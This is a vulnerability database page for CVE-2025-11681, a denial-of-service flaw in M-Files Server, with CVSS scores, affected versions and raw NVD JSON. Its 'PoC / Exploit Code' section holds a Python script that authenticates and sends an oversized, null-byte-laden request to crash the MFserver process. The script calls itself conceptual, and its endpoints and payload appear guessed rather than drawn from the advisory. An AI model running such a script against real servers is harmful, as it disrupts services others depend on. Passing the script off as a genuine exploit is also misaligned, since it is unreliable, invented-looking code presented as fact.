Security Vulnerability Report
中文
CVE-2025-11681 CVSS 6.5 MEDIUM

CVE-2025-11681

Published: 2025-11-17 12:15:43
Last Modified: 2026-02-23 11:16:19

Description

Denial-of-service condition in M-Files Server versions before 25.11.15392.1, before 25.2 LTS SR2 and before 25.8 LTS SR2 allows an authenticated user to cause the MFserver process to crash.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:m-files:m-files_server:*:*:*:*:lts:*:*:* - VULNERABLE
cpe:2.3:a:m-files:m-files_server:*:*:*:*:-:*:*:* - VULNERABLE
cpe:2.3:a:m-files:m-files_server:*:*:*:*:lts:*:*:* - VULNERABLE
M-Files Server < 25.11.15392.1
M-Files Server < 25.2 LTS SR2
M-Files Server < 25.8 LTS SR2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-11681 PoC - M-Files Server DoS # Target: M-Files Server < 25.11.15392.1, < 25.2 LTS SR2, < 25.8 LTS SR2 # Author: Security Researcher # Note: This is a conceptual PoC for educational purposes only import requests import sys import time def exploit_mfiles_dos(target_url, username, password): """ M-Files Server DoS vulnerability exploitation This PoC demonstrates how an authenticated user can trigger a denial of service condition in vulnerable M-Files Server versions. """ # Login to M-Files Server session = requests.Session() # Step 1: Authenticate to M-Files login_url = f"{target_url}/MFiles/API/server/authentication.aspx" login_data = { 'username': username, 'password': password, 'database': 'Sample Vault' } try: # Attempt login response = session.post(login_url, data=login_data, timeout=10) if response.status_code != 200: print(f"[-] Authentication failed") return False print(f"[+] Successfully authenticated as {username}") # Step 2: Send malicious request to trigger DoS # This payload exploits the vulnerability in MFserver process exploit_url = f"{target_url}/MFiles/API/v1/objects/collections" # Malformed request payload that triggers the vulnerability malicious_payload = { 'objver': 'A' * 10000, # Overflow condition 'property': '\x00' * 5000, # Null byte injection 'type': -1 # Invalid type } print(f"[*] Sending malicious request to trigger DoS...") response = session.post(exploit_url, json=malicious_payload, timeout=5) # Step 3: Verify server crash time.sleep(2) health_check = session.get(f"{target_url}/MFiles/API/server/healthcheck", timeout=10) if health_check.status_code != 200: print(f"[+] DoS condition confirmed - MFserver process crashed") return True else: print(f"[*] Server still responding - may need payload adjustment") return False except requests.exceptions.RequestException as e: print(f"[+] DoS triggered - Server unreachable: {str(e)}") return True if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: {sys.argv[0]} <target_url> <username> <password>") print(f"Example: {sys.argv[0]} https://mfiles-server.local demo password") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_mfiles_dos(target, user, pwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11681", "sourceIdentifier": "[email protected]", "published": "2025-11-17T12:15:43.250", "lastModified": "2026-02-23T11:16:18.593", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Denial-of-service condition in M-Files Server versions before 25.11.15392.1, before 25.2 LTS SR2 and before 25.8 LTS SR2 allows an authenticated user to cause the MFserver process to crash."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:m-files:m-files_server:*:*:*:*:lts:*:*:*", "versionEndExcluding": "25.2.14524.13", "matchCriteriaId": "2E0E9286-5046-460E-805C-5678064006CD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:m-files:m-files_server:*:*:*:*:-:*:*:*", "versionEndExcluding": "25.11.15392.1", "matchCriteriaId": "480FA313-EA49-4A2D-8A68-9B18DCE6D38C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:m-files:m-files_server:*:*:*:*:lts:*:*:*", "versionStartIncluding": "25.8.15085.13", "versionEndExcluding": "25.8.15085.17", "matchCriteriaId": "D616D42B-B3D1-4EA5-9848-2F10CFBA2F03"}]}]}], "references": [{"url": "https://empower.m-files.com/security-advisories/CVE-2025-11681", "source": "[email protected]"}, {"url": "https://product.m-files.com/security-advisories/cve-2025-11681/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}